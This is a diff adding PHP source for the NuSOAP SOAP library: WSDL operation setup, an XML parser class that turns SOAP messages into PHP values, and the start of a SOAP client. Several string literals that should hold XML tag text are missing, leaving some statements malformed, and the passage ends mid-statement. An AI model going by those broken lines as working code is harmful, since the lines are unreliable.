@param string $soapaction optional The soapaction for the operation + * @param string $style (rpc|document) optional The style for the operation Note: when 'document' is specified, parameter and return wrappers are created for you automatically + * @param string $use (encoded|literal) optional The use for the parameters (cannot mix right now) + * @param string $documentation optional The description to include in the WSDL + * @param string $encodingStyle optional (usually 'http://schemas.xmlsoap.org/soap/encoding/' for encoded) + * @access public + */ + function addOperation($name, $in = false, $out = false, $namespace = false, $soapaction = false, $style = 'rpc', $use = 'encoded', $documentation = '', $encodingStyle = ''){ + if ($use == 'encoded' && $encodingStyle == '') { + $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; + } + + if ($style == 'document') { + $elements = array(); + foreach ($in as $n => $t) { + $elements[$n] = array('name' => $n, 'type' => $t, 'form' => 'unqualified'); + } + $this->addComplexType($name . 'RequestType', 'complexType', 'struct', 'all', '', $elements); + $this->addElement(array('name' => $name, 'type' => $name . 'RequestType')); + $in = array('parameters' => 'tns:' . $name . '^'); + + $elements = array(); + foreach ($out as $n => $t) { + $elements[$n] = array('name' => $n, 'type' => $t, 'form' => 'unqualified'); + } + $this->addComplexType($name . 'ResponseType', 'complexType', 'struct', 'all', '', $elements); + $this->addElement(array('name' => $name . 'Response', 'type' => $name . 'ResponseType', 'form' => 'qualified')); + $out = array('parameters' => 'tns:' . $name . 'Response' . '^'); + } + + // get binding + $this->bindings[ $this->serviceName . 'Binding' ]['operations'][$name] = + array( + 'name' => $name, + 'binding' => $this->serviceName . 'Binding', + 'endpoint' => $this->endpoint, + 'soapAction' => $soapaction, + 'style' => $style, + 'input' => array( + 'use' => $use, + 'namespace' => $namespace, + 'encodingStyle' => $encodingStyle, + 'message' => $name . 'Request', + 'parts' => $in), + 'output' => array( + 'use' => $use, + 'namespace' => $namespace, + 'encodingStyle' => $encodingStyle, + 'message' => $name . 'Response', + 'parts' => $out), + 'namespace' => $namespace, + 'transport' => 'http://schemas.xmlsoap.org/soap/http', + 'documentation' => $documentation); + // add portTypes + // add messages + if($in) + { + foreach($in as $pName => $pType) + { + if(strpos($pType,':')) { + $pType = $this->getNamespaceFromPrefix($this->getPrefix($pType)).":".$this->getLocalPart($pType); + } + $this->messages[$name.'Request'][$pName] = $pType; + } + } else { + $this->messages[$name.'Request']= '0'; + } + if($out) + { + foreach($out as $pName => $pType) + { + if(strpos($pType,':')) { + $pType = $this->getNamespaceFromPrefix($this->getPrefix($pType)).":".$this->getLocalPart($pType); + } + $this->messages[$name.'Response'][$pName] = $pType; + } + } else { + $this->messages[$name.'Response']= '0'; + } + return true; + } +} +?> +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class nusoap_parser extends nusoap_base { + + var $xml = ''; + var $xml_encoding = ''; + var $method = ''; + var $root_struct = ''; + var $root_struct_name = ''; + var $root_struct_namespace = ''; + var $root_header = ''; + var $document = ''; // incoming SOAP body (text) + // determines where in the message we are (envelope,header,body,method) + var $status = ''; + var $position = 0; + var $depth = 0; + var $default_namespace = ''; + var $namespaces = array(); + var $message = array(); + var $parent = ''; + var $fault = false; + var $fault_code = ''; + var $fault_str = ''; + var $fault_detail = ''; + var $depth_array = array(); + var $debug_flag = true; + var $soapresponse = NULL; // parsed SOAP Body + var $soapheader = NULL; // parsed SOAP Header + var $responseHeaders = ''; // incoming SOAP headers (text) + var $body_position = 0; + // for multiref parsing: + // array of id => pos + var $ids = array(); + // array of id => hrefs => pos + var $multirefs = array(); + // toggle for auto-decoding element content + var $decode_utf8 = true; + + /** + * constructor that actually does the parsing + * + * @param string $xml SOAP message + * @param string $encoding character encoding scheme of message + * @param string $method method for which XML is parsed (unused?) + * @param string $decode_utf8 whether to decode UTF-8 to ISO-8859-1 + * @access public + */ + function nusoap_parser($xml,$encoding='UTF-8',$method='',$decode_utf8=true){ + parent::nusoap_base(); + $this->xml = $xml; + $this->xml_encoding = $encoding; + $this->method = $method; + $this->decode_utf8 = $decode_utf8; + + // Check whether content has been read. + if(!empty($xml)){ + // Check XML encoding + $pos_xml = strpos($xml, '', $pos_xml + 2) - $pos_xml + 1); + if (preg_match("/encoding=[\"']([^\"']*)[\"']/", $xml_decl, $res)) { + $xml_encoding = $res[1]; + if (strtoupper($xml_encoding) != $encoding) { + $err = "Charset from HTTP Content-Type '" . $encoding . "' does not match encoding from XML declaration '" . $xml_encoding . "'"; + $this->debug($err); + if ($encoding != 'ISO-8859-1' || strtoupper($xml_encoding) != 'UTF-8') { + $this->setError($err); + return; + } + // when HTTP says ISO-8859-1 (the default) and XML says UTF-8 (the typical), assume the other endpoint is just sloppy and proceed + } else { + $this->debug('Charset from HTTP Content-Type matches encoding from XML declaration'); + } + } else { + $this->debug('No encoding specified in XML declaration'); + } + } else { + $this->debug('No XML declaration'); + } + $this->debug('Entering nusoap_parser(), length='.strlen($xml).', encoding='.$encoding); + // Create an XML parser - why not xml_parser_create_ns? + $this->parser = xml_parser_create($this->xml_encoding); + // Set the options for parsing the XML data. + //xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1); + xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0); + xml_parser_set_option($this->parser, XML_OPTION_TARGET_ENCODING, $this->xml_encoding); + // Set the object for the parser. + xml_set_object($this->parser, $this); + // Set the element handlers for the parser. + xml_set_element_handler($this->parser, 'start_element','end_element'); + xml_set_character_data_handler($this->parser,'character_data'); + + // Parse the XML file. + if(!xml_parse($this->parser,$xml,true)){ + // Display an error message. + $err = sprintf('XML error parsing SOAP payload on line %d: %s', + xml_get_current_line_number($this->parser), + xml_error_string(xml_get_error_code($this->parser))); + $this->debug($err); + $this->debug("XML payload:\n" . $xml); + $this->setError($err); + } else { + $this->debug('in nusoap_parser ctor, message:'); + $this->appendDebug($this->varDump($this->message)); + $this->debug('parsed successfully, found root struct: '.$this->root_struct.' of name '.$this->root_struct_name); + // get final value + $this->soapresponse = $this->message[$this->root_struct]['result']; + // get header value + if($this->root_header != '' && isset($this->message[$this->root_header]['result'])){ + $this->soapheader = $this->message[$this->root_header]['result']; + } + // resolve hrefs/ids + if(sizeof($this->multirefs) > 0){ + foreach($this->multirefs as $id => $hrefs){ + $this->debug('resolving multirefs for id: '.$id); + $idVal = $this->buildVal($this->ids[$id]); + if (is_array($idVal) && isset($idVal['!id'])) { + unset($idVal['!id']); + } + foreach($hrefs as $refPos => $ref){ + $this->debug('resolving href at pos '.$refPos); + $this->multirefs[$id][$refPos] = $idVal; + } + } + } + } + xml_parser_free($this->parser); + } else { + $this->debug('xml was empty, didn\'t parse!'); + $this->setError('xml was empty, didn\'t parse!'); + } + } + + /** + * start-element handler + * + * @param resource $parser XML parser object + * @param string $name element name + * @param array $attrs associative array of attributes + * @access private + */ + function start_element($parser, $name, $attrs) { + // position in a total number of elements, starting from 0 + // update class level pos + $pos = $this->position++; + // and set mine + $this->message[$pos] = array('pos' => $pos,'children'=>'','cdata'=>''); + // depth = how many levels removed from root? + // set mine as current global depth and increment global depth value + $this->message[$pos]['depth'] = $this->depth++; + + // else add self as child to whoever the current parent is + if($pos != 0){ + $this->message[$this->parent]['children'] .= '|'.$pos; + } + // set my parent + $this->message[$pos]['parent'] = $this->parent; + // set self as current parent + $this->parent = $pos; + // set self as current value for this depth + $this->depth_array[$this->depth] = $pos; + // get element prefix + if(strpos($name,':')){ + // get ns prefix + $prefix = substr($name,0,strpos($name,':')); + // get unqualified name + $name = substr(strstr($name,':'),1); + } + // set status + if ($name == 'Envelope' && $this->status == '') { + $this->status = 'envelope'; + } elseif ($name == 'Header' && $this->status == 'envelope') { + $this->root_header = $pos; + $this->status = 'header'; + } elseif ($name == 'Body' && $this->status == 'envelope'){ + $this->status = 'body'; + $this->body_position = $pos; + // set method + } elseif($this->status == 'body' && $pos == ($this->body_position+1)) { + $this->status = 'method'; + $this->root_struct_name = $name; + $this->root_struct = $pos; + $this->message[$pos]['type'] = 'struct'; + $this->debug("found root struct $this->root_struct_name, pos $this->root_struct"); + } + // set my status + $this->message[$pos]['status'] = $this->status; + // set name + $this->message[$pos]['name'] = htmlspecialchars($name); + // set attrs + $this->message[$pos]['attrs'] = $attrs; + + // loop through atts, logging ns and type declarations + $attstr = ''; + foreach($attrs as $key => $value){ + $key_prefix = $this->getPrefix($key); + $key_localpart = $this->getLocalPart($key); + // if ns declarations, add to class level array of valid namespaces + if($key_prefix == 'xmlns'){ + if(preg_match('/^http:\/\/www.w3.org\/[0-9]{4}\/XMLSchema$/',$value)){ + $this->XMLSchemaVersion = $value; + $this->namespaces['xsd'] = $this->XMLSchemaVersion; + $this->namespaces['xsi'] = $this->XMLSchemaVersion.'-instance'; + } + $this->namespaces[$key_localpart] = $value; + // set method namespace + if($name == $this->root_struct_name){ + $this->methodNamespace = $value; + } + // if it's a type declaration, set type + } elseif($key_localpart == 'type'){ + if (isset($this->message[$pos]['type']) && $this->message[$pos]['type'] == 'array') { + // do nothing: already processed arrayType + } else { + $value_prefix = $this->getPrefix($value); + $value_localpart = $this->getLocalPart($value); + $this->message[$pos]['type'] = $value_localpart; + $this->message[$pos]['typePrefix'] = $value_prefix; + if(isset($this->namespaces[$value_prefix])){ + $this->message[$pos]['type_namespace'] = $this->namespaces[$value_prefix]; + } else if(isset($attrs['xmlns:'.$value_prefix])) { + $this->message[$pos]['type_namespace'] = $attrs['xmlns:'.$value_prefix]; + } + // should do something here with the namespace of specified type? + } + } elseif($key_localpart == 'arrayType'){ + $this->message[$pos]['type'] = 'array'; + /* do arrayType ereg here + [1] arrayTypeValue ::= atype asize + [2] atype ::= QName rank* + [3] rank ::= '[' (',')* ']' + [4] asize ::= '[' length~ ']' + [5] length ::= nextDimension* Digit+ + [6] nextDimension ::= Digit+ ',' + */ + $expr = '/([A-Za-z0-9_]+):([A-Za-z]+[A-Za-z0-9_]+)\[([0-9]+),?([0-9]*)\]/'; + if(preg_match($expr,$value,$regs)){ + $this->message[$pos]['typePrefix'] = $regs[1]; + $this->message[$pos]['arrayTypePrefix'] = $regs[1]; + if (isset($this->namespaces[$regs[1]])) { + $this->message[$pos]['arrayTypeNamespace'] = $this->namespaces[$regs[1]]; + } else if (isset($attrs['xmlns:'.$regs[1]])) { + $this->message[$pos]['arrayTypeNamespace'] = $attrs['xmlns:'.$regs[1]]; + } + $this->message[$pos]['arrayType'] = $regs[2]; + $this->message[$pos]['arraySize'] = $regs[3]; + $this->message[$pos]['arrayCols'] = $regs[4]; + } + // specifies nil value (or not) + } elseif ($key_localpart == 'nil'){ + $this->message[$pos]['nil'] = ($value == 'true' || $value == '1'); + // some other attribute + } elseif ($key != 'href' && $key != 'xmlns' && $key_localpart != 'encodingStyle' && $key_localpart != 'root') { + $this->message[$pos]['xattrs']['!' . $key] = $value; + } + + if ($key == 'xmlns') { + $this->default_namespace = $value; + } + // log id + if($key == 'id'){ + $this->ids[$value] = $pos; + } + // root + if($key_localpart == 'root' && $value == 1){ + $this->status = 'method'; + $this->root_struct_name = $name; + $this->root_struct = $pos; + $this->debug("found root struct $this->root_struct_name, pos $pos"); + } + // for doclit + $attstr .= " $key=\"$value\""; + } + // get namespace - must be done after namespace atts are processed + if(isset($prefix)){ + $this->message[$pos]['namespace'] = $this->namespaces[$prefix]; + $this->default_namespace = $this->namespaces[$prefix]; + } else { + $this->message[$pos]['namespace'] = $this->default_namespace; + } + if($this->status == 'header'){ + if ($this->root_header != $pos) { + $this->responseHeaders .= "<" . (isset($prefix) ? $prefix . ':' : '') . "$name$attstr>"; + } + } elseif($this->root_struct_name != ''){ + $this->document .= "<" . (isset($prefix) ? $prefix . ':' : '') . "$name$attstr>"; + } + } + + /** + * end-element handler + * + * @param resource $parser XML parser object + * @param string $name element name + * @access private + */ + function end_element($parser, $name) { + // position of current element is equal to the last value left in depth_array for my depth + $pos = $this->depth_array[$this->depth--]; + + // get element prefix + if(strpos($name,':')){ + // get ns prefix + $prefix = substr($name,0,strpos($name,':')); + // get unqualified name + $name = substr(strstr($name,':'),1); + } + + // build to native type + if(isset($this->body_position) && $pos > $this->body_position){ + // deal w/ multirefs + if(isset($this->message[$pos]['attrs']['href'])){ + // get id + $id = substr($this->message[$pos]['attrs']['href'],1); + // add placeholder to href array + $this->multirefs[$id][$pos] = 'placeholder'; + // add set a reference to it as the result value + $this->message[$pos]['result'] =& $this->multirefs[$id][$pos]; + // build complexType values + } elseif($this->message[$pos]['children'] != ''){ + // if result has already been generated (struct/array) + if(!isset($this->message[$pos]['result'])){ + $this->message[$pos]['result'] = $this->buildVal($pos); + } + // build complexType values of attributes and possibly simpleContent + } elseif (isset($this->message[$pos]['xattrs'])) { + if (isset($this->message[$pos]['nil']) && $this->message[$pos]['nil']) { + $this->message[$pos]['xattrs']['!'] = null; + } elseif (isset($this->message[$pos]['cdata']) && trim($this->message[$pos]['cdata']) != '') { + if (isset($this->message[$pos]['type'])) { + $this->message[$pos]['xattrs']['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : ''); + } else { + $parent = $this->message[$pos]['parent']; + if (isset($this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) { + $this->message[$pos]['xattrs']['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : ''); + } else { + $this->message[$pos]['xattrs']['!'] = $this->message[$pos]['cdata']; + } + } + } + $this->message[$pos]['result'] = $this->message[$pos]['xattrs']; + // set value of simpleType (or nil complexType) + } else { + //$this->debug('adding data for scalar value '.$this->message[$pos]['name'].' of value '.$this->message[$pos]['cdata']); + if (isset($this->message[$pos]['nil']) && $this->message[$pos]['nil']) { + $this->message[$pos]['xattrs']['!'] = null; + } elseif (isset($this->message[$pos]['type'])) { + $this->message[$pos]['result'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : ''); + } else { + $parent = $this->message[$pos]['parent']; + if (isset($this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) { + $this->message[$pos]['result'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : ''); + } else { + $this->message[$pos]['result'] = $this->message[$pos]['cdata']; + } + } + + /* add value to parent's result, if parent is struct/array + $parent = $this->message[$pos]['parent']; + if($this->message[$parent]['type'] != 'map'){ + if(strtolower($this->message[$parent]['type']) == 'array'){ + $this->message[$parent]['result'][] = $this->message[$pos]['result']; + } else { + $this->message[$parent]['result'][$this->message[$pos]['name']] = $this->message[$pos]['result']; + } + } + */ + } + } + + // for doclit + if($this->status == 'header'){ + if ($this->root_header != $pos) { + $this->responseHeaders .= ""; + } + } elseif($pos >= $this->root_struct){ + $this->document .= ""; + } + // switch status + if ($pos == $this->root_struct){ + $this->status = 'body'; + $this->root_struct_namespace = $this->message[$pos]['namespace']; + } elseif ($pos == $this->root_header) { + $this->status = 'envelope'; + } elseif ($name == 'Body' && $this->status == 'body') { + $this->status = 'envelope'; + } elseif ($name == 'Header' && $this->status == 'header') { // will never happen + $this->status = 'envelope'; + } elseif ($name == 'Envelope' && $this->status == 'envelope') { + $this->status = ''; + } + // set parent back to my parent + $this->parent = $this->message[$pos]['parent']; + } + + /** + * element content handler + * + * @param resource $parser XML parser object + * @param string $data element content + * @access private + */ + function character_data($parser, $data){ + $pos = $this->depth_array[$this->depth]; + if ($this->xml_encoding=='UTF-8'){ + // TODO: add an option to disable this for folks who want + // raw UTF-8 that, e.g., might not map to iso-8859-1 + // TODO: this can also be handled with xml_parser_set_option($this->parser, XML_OPTION_TARGET_ENCODING, "ISO-8859-1"); + if($this->decode_utf8){ + $data = utf8_decode($data); + } + } + $this->message[$pos]['cdata'] .= $data; + // for doclit + if($this->status == 'header'){ + $this->responseHeaders .= $data; + } else { + $this->document .= $data; + } + } + + /** + * get the parsed message (SOAP Body) + * + * @return mixed + * @access public + * @deprecated use get_soapbody instead + */ + function get_response(){ + return $this->soapresponse; + } + + /** + * get the parsed SOAP Body (NULL if there was none) + * + * @return mixed + * @access public + */ + function get_soapbody(){ + return $this->soapresponse; + } + + /** + * get the parsed SOAP Header (NULL if there was none) + * + * @return mixed + * @access public + */ + function get_soapheader(){ + return $this->soapheader; + } + + /** + * get the unparsed SOAP Header + * + * @return string XML or empty if no Header + * @access public + */ + function getHeaders(){ + return $this->responseHeaders; + } + + /** + * decodes simple types into PHP variables + * + * @param string $value value to decode + * @param string $type XML type to decode + * @param string $typens XML type namespace to decode + * @return mixed PHP value + * @access private + */ + function decodeSimple($value, $type, $typens) { + // TODO: use the namespace! + if ((!isset($type)) || $type == 'string' || $type == 'long' || $type == 'unsignedLong') { + return (string) $value; + } + if ($type == 'int' || $type == 'integer' || $type == 'short' || $type == 'byte') { + return (int) $value; + } + if ($type == 'float' || $type == 'double' || $type == 'decimal') { + return (double) $value; + } + if ($type == 'boolean') { + if (strtolower($value) == 'false' || strtolower($value) == 'f') { + return false; + } + return (boolean) $value; + } + if ($type == 'base64' || $type == 'base64Binary') { + $this->debug('Decode base64 value'); + return base64_decode($value); + } + // obscure numeric types + if ($type == 'nonPositiveInteger' || $type == 'negativeInteger' + || $type == 'nonNegativeInteger' || $type == 'positiveInteger' + || $type == 'unsignedInt' + || $type == 'unsignedShort' || $type == 'unsignedByte') { + return (int) $value; + } + // bogus: parser treats array with no elements as a simple type + if ($type == 'array') { + return array(); + } + // everything else + return (string) $value; + } + + /** + * builds response structures for compound values (arrays/structs) + * and scalars + * + * @param integer $pos position in node tree + * @return mixed PHP value + * @access private + */ + function buildVal($pos){ + if(!isset($this->message[$pos]['type'])){ + $this->message[$pos]['type'] = ''; + } + $this->debug('in buildVal() for '.$this->message[$pos]['name']."(pos $pos) of type ".$this->message[$pos]['type']); + // if there are children... + if($this->message[$pos]['children'] != ''){ + $this->debug('in buildVal, there are children'); + $children = explode('|',$this->message[$pos]['children']); + array_shift($children); // knock off empty + // md array + if(isset($this->message[$pos]['arrayCols']) && $this->message[$pos]['arrayCols'] != ''){ + $r=0; // rowcount + $c=0; // colcount + foreach($children as $child_pos){ + $this->debug("in buildVal, got an MD array element: $r, $c"); + $params[$r][] = $this->message[$child_pos]['result']; + $c++; + if($c == $this->message[$pos]['arrayCols']){ + $c = 0; + $r++; + } + } + // array + } elseif($this->message[$pos]['type'] == 'array' || $this->message[$pos]['type'] == 'Array'){ + $this->debug('in buildVal, adding array '.$this->message[$pos]['name']); + foreach($children as $child_pos){ + $params[] = &$this->message[$child_pos]['result']; + } + // apache Map type: java hashtable + } elseif($this->message[$pos]['type'] == 'Map' && $this->message[$pos]['type_namespace'] == 'http://xml.apache.org/xml-soap'){ + $this->debug('in buildVal, Java Map '.$this->message[$pos]['name']); + foreach($children as $child_pos){ + $kv = explode("|",$this->message[$child_pos]['children']); + $params[$this->message[$kv[1]]['result']] = &$this->message[$kv[2]]['result']; + } + // generic compound type + //} elseif($this->message[$pos]['type'] == 'SOAPStruct' || $this->message[$pos]['type'] == 'struct') { + } else { + // Apache Vector type: treat as an array + $this->debug('in buildVal, adding Java Vector or generic compound type '.$this->message[$pos]['name']); + if ($this->message[$pos]['type'] == 'Vector' && $this->message[$pos]['type_namespace'] == 'http://xml.apache.org/xml-soap') { + $notstruct = 1; + } else { + $notstruct = 0; + } + // + foreach($children as $child_pos){ + if($notstruct){ + $params[] = &$this->message[$child_pos]['result']; + } else { + if (isset($params[$this->message[$child_pos]['name']])) { + // de-serialize repeated element name into an array + if ((!is_array($params[$this->message[$child_pos]['name']])) || (!isset($params[$this->message[$child_pos]['name']][0]))) { + $params[$this->message[$child_pos]['name']] = array($params[$this->message[$child_pos]['name']]); + } + $params[$this->message[$child_pos]['name']][] = &$this->message[$child_pos]['result']; + } else { + $params[$this->message[$child_pos]['name']] = &$this->message[$child_pos]['result']; + } + } + } + } + if (isset($this->message[$pos]['xattrs'])) { + $this->debug('in buildVal, handling attributes'); + foreach ($this->message[$pos]['xattrs'] as $n => $v) { + $params[$n] = $v; + } + } + // handle simpleContent + if (isset($this->message[$pos]['cdata']) && trim($this->message[$pos]['cdata']) != '') { + $this->debug('in buildVal, handling simpleContent'); + if (isset($this->message[$pos]['type'])) { + $params['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : ''); + } else { + $parent = $this->message[$pos]['parent']; + if (isset($this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) { + $params['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : ''); + } else { + $params['!'] = $this->message[$pos]['cdata']; + } + } + } + $ret = is_array($params) ? $params : array(); + $this->debug('in buildVal, return:'); + $this->appendDebug($this->varDump($ret)); + return $ret; + } else { + $this->debug('in buildVal, no children, building scalar'); + $cdata = isset($this->message[$pos]['cdata']) ? $this->message[$pos]['cdata'] : ''; + if (isset($this->message[$pos]['type'])) { + $ret = $this->decodeSimple($cdata, $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : ''); + $this->debug("in buildVal, return: $ret"); + return $ret; + } + $parent = $this->message[$pos]['parent']; + if (isset($this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) { + $ret = $this->decodeSimple($cdata, $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : ''); + $this->debug("in buildVal, return: $ret"); + return $ret; + } + $ret = $this->message[$pos]['cdata']; + $this->debug("in buildVal, return: $ret"); + return $ret; + } + } +} + +/** + * Backward compatibility + */ +class soap_parser extends nusoap_parser { +} + +?>call( string methodname [ ,array parameters] ); +* +* // bye bye client +* unset($soapclient); +* +* @author Dietrich Ayala +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class nusoap_client extends nusoap_base { + + var $username = ''; // Username for HTTP authentication + var $password = ''; // Password for HTTP authentication + var $authtype = ''; // Type of HTTP authentication + var $certRequest = array(); // Certificate for HTTP SSL authentication + var $requestHeaders = false; // SOAP headers in request (text) + var $responseHeaders = ''; // SOAP headers from response (incomplete namespace resolution) (text) + var $responseHeader = NULL; // SOAP Header from response (parsed) + var $document = ''; // SOAP body response portion (incomplete namespace resolution) (text) + var $endpoint; + var $forceEndpoint = ''; // overrides WSDL endpoint + var $proxyhost = ''; + var $proxyport = ''; + var $proxyusername = ''; + var $proxypassword = ''; + var $portName = ''; // port name to use in WSDL + var $xml_encoding = ''; // character set encoding of incoming (response) messages + var $http_encoding = false; + var $timeout = 0; // HTTP connection timeout + var $response_timeout = 30; // HTTP response timeout + var $endpointType = ''; // soap|wsdl, empty for WSDL initialization error + var $persistentConnection = false; + var $defaultRpcParams = false; // This is no longer used + var $request = ''; // HTTP request + var $response = ''; // HTTP response + var $responseData = ''; // SOAP payload of response + var $cookies = array(); // Cookies from response or for request + var $decode_utf8 = true; // toggles whether the parser decodes element content w/ utf8_decode() + var $operations = array(); // WSDL operations, empty for WSDL initialization error + var $curl_options = array(); // User-specified cURL options + var $bindingType = ''; // WSDL operation binding type + var $use_curl = false; // whether to always try to use cURL + + /* + * fault related variables + */ + /** + * @var fault + * @access public + */ + var $fault; + /** + * @var faultcode + * @access public + */ + var $faultcode; + /** + * @var faultstring + * @access public + */ + var $faultstring; + /** + * @var faultdetail + * @access public + */ + var $faultdetail; + + /** + * constructor + * + * @param mixed $endpoint SOAP server or WSDL URL (string), or wsdl instance (object) + * @param mixed $wsdl optional, set to 'wsdl' or true if using WSDL + * @param string $proxyhost optional + * @param string $proxyport optional + * @param string $proxyusername optional + * @param string $proxypassword optional + * @param integer $timeout set the connection timeout + * @param integer $response_timeout set the response timeout + * @param string $portName optional portName in WSDL document + * @access public + */ + function nusoap_client($endpoint,$wsdl = false,$proxyhost = false,$proxyport = false,$proxyusername = false, $proxypassword = false, $timeout = 0, $response_timeout = 30, $portName = ''){ + parent::nusoap_base(); + $this->endpoint = $endpoint; + $this->proxyhost = $proxyhost; + $this->proxyport = $proxyport; + $this->proxyusername = $proxyusername; + $this->proxypassword = $proxypassword; + $this->timeout = $timeout; + $this->response_timeout = $response_timeout; + $this->portName = $portName; + + $this->debug("ctor wsdl=$wsdl timeout=$timeout response_timeout=$response_timeout"); + $this->appendDebug('endpoint=' . $this->varDump($endpoint)); + + // make values + if($wsdl){ + if (is_object($endpoint) && (get_class($endpoint) == 'wsdl')) { + $this->wsdl = $endpoint; + $this->endpoint = $this->wsdl->wsdl; + $this->wsdlFile = $this->endpoint; + $this->debug('existing wsdl instance created from ' . $this->endpoint); + $this->checkWSDL(); + } else { + $this->wsdlFile = $this->endpoint; + $this->wsdl = null; + $this->debug('will use lazy evaluation of wsdl from ' . $this->endpoint); + } + $this->endpointType = 'wsdl'; + } else { + $this->debug("instantiate SOAP with endpoint at $endpoint"); + $this->endpointType = 'soap'; + } + } + + /** + * calls method, returns PHP native type + * + * @param string $operation SOAP server URL or path + * @param mixed $params An array, associative or simple, of the parameters + * for the method call, or a string that is the XML + * for the call. For rpc style, this call will + * wrap the XML in a tag named after the method, as + * well as the SOAP Envelope and Body. For document + * style, this will only wrap with the Envelope and Body. + * IMPORTANT: when using an array with document style, + * in which case there + * is really one parameter, the root of the fragment + * used in the call, which encloses what programmers + * normally think of parameters. A parameter array + * *must* include the wrapper. + * @param string $namespace optional method namespace (WSDL can override) + * @param string $soapAction optional SOAPAction value (WSDL can override) + * @param mixed $headers optional string of XML with SOAP header content, or array of soapval objects for SOAP headers, or associative array + * @param boolean $rpcParams optional (no longer used) + * @param string $style optional (rpc|document) the style to use when serializing parameters (WSDL can override) + * @param string $use optional (encoded|literal) the use when serializing parameters (WSDL can override) + * @return mixed response from SOAP call, normally an associative array mirroring the structure of the XML response, false for certain fatal errors + * @access public + */ + function call($operation,$params=array(),$namespace='http://tempuri.org',$soapAction='',$headers=false,$rpcParams=null,$style='rpc',$use='encoded'){ + $this->operation = $operation; + $this->fault = false; + $this->setError(''); + $this->request = ''; + $this->response = ''; + $this->responseData = ''; + $this->faultstring = ''; + $this->faultcode = ''; + $this->opData = array(); + + $this->debug("call: operation=$operation, namespace=$namespace, soapAction=$soapAction, rpcParams=$rpcParams, style=$style, use=$use, endpointType=$this->endpointType"); + $this->appendDebug('params=' . $this->varDump($params)); + $this->appendDebug('headers=' . $this->varDump($headers)); + if ($headers) { + $this->requestHeaders = $headers; + } + if ($this->endpointType == 'wsdl' && is_null($this->wsdl)) { + $this->loadWSDL(); + if ($this->getError()) + return false; + } + // serialize parameters + if($this->endpointType == 'wsdl' && $opData = $this->getOperationData($operation)){ + // use WSDL for operation + $this->opData = $opData; + $this->debug("found operation"); + $this->appendDebug('opData=' . $this->varDump($opData)); + if (isset($opData['soapAction'])) { + $soapAction = $opData['soapAction']; + } + if (! $this->forceEndpoint) { + $this->endpoint = $opData['endpoint']; + } else { + $this->endpoint = $this->forceEndpoint; + } + $namespace = isset($opData['input']['namespace']) ? $opData['input']['namespace'] : $namespace; + $style = $opData['style']; + $use = $opData['input']['use']; + // add ns to ns array + if($namespace != '' && !isset($this->wsdl->namespaces[$namespace])){ + $nsPrefix = 'ns' . rand(1000, 9999); + $this->wsdl->namespaces[$nsPrefix] = $namespace; + } + $nsPrefix = $this->wsdl->getPrefixFromNamespace($namespace); + // serialize payload + if (is_string($params)) { + $this->debug("serializing param string for WSDL operation $operation"); + $payload = $params; + } elseif (is_array($params)) { + $this->debug("serializing param array for WSDL operation $operation"); + $payload = $this->wsdl->serializeRPCParameters($operation,'input',$params,$this->bindingType); + } else { + $this->debug('params must be array or string'); + $this->setError('params must be array or string'); + return false; + } + $usedNamespaces = $this->wsdl->usedNamespaces; + if (isset($opData['input']['encodingStyle'])) { + $encodingStyle = $opData['input']['encodingStyle']; + } else { + $encodingStyle = ''; + } + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + if ($errstr = $this->wsdl->getError()) { + $this->debug('got wsdl error: '.$errstr); + $this->setError('wsdl error: '.$errstr); + return false; + } + } elseif($this->endpointType == 'wsdl') { + // operation not in WSDL + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + $this->setError('operation '.$operation.' not present in WSDL.'); + $this->debug("operation '$operation' not present in WSDL."); + return false; + } else { + // no WSDL + //$this->namespaces['ns1'] = $namespace; + $nsPrefix = 'ns' . rand(1000, 9999); + // serialize + $payload = ''; + if (is_string($params)) { + $this->debug("serializing param string for operation $operation"); + $payload = $params; + } elseif (is_array($params)) { + $this->debug("serializing param array for operation $operation"); + foreach($params as $k => $v){ + $payload .= $this->serialize_val($v,$k,false,false,false,false,$use); + } + } else { + $this->debug('params must be array or string'); + $this->setError('params must be array or string'); + return false; + } + $usedNamespaces = array(); + if ($use == 'encoded') { + $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; + } else { + $encodingStyle = ''; + } + } + // wrap RPC calls with method element + if ($style == 'rpc') { + if ($use == 'literal') { + $this->debug("wrapping RPC request with literal method element"); + if ($namespace) { + // http://www.ws-i.org/Profiles/BasicProfile-1.1-2004-08-24.html R2735 says rpc/literal accessor elements should not be in a namespace + $payload = "<$nsPrefix:$operation xmlns:$nsPrefix=\"$namespace\">" . + $payload . + ""; + } else { + $payload = "<$operation>" . $payload . ""; + } + } else { + 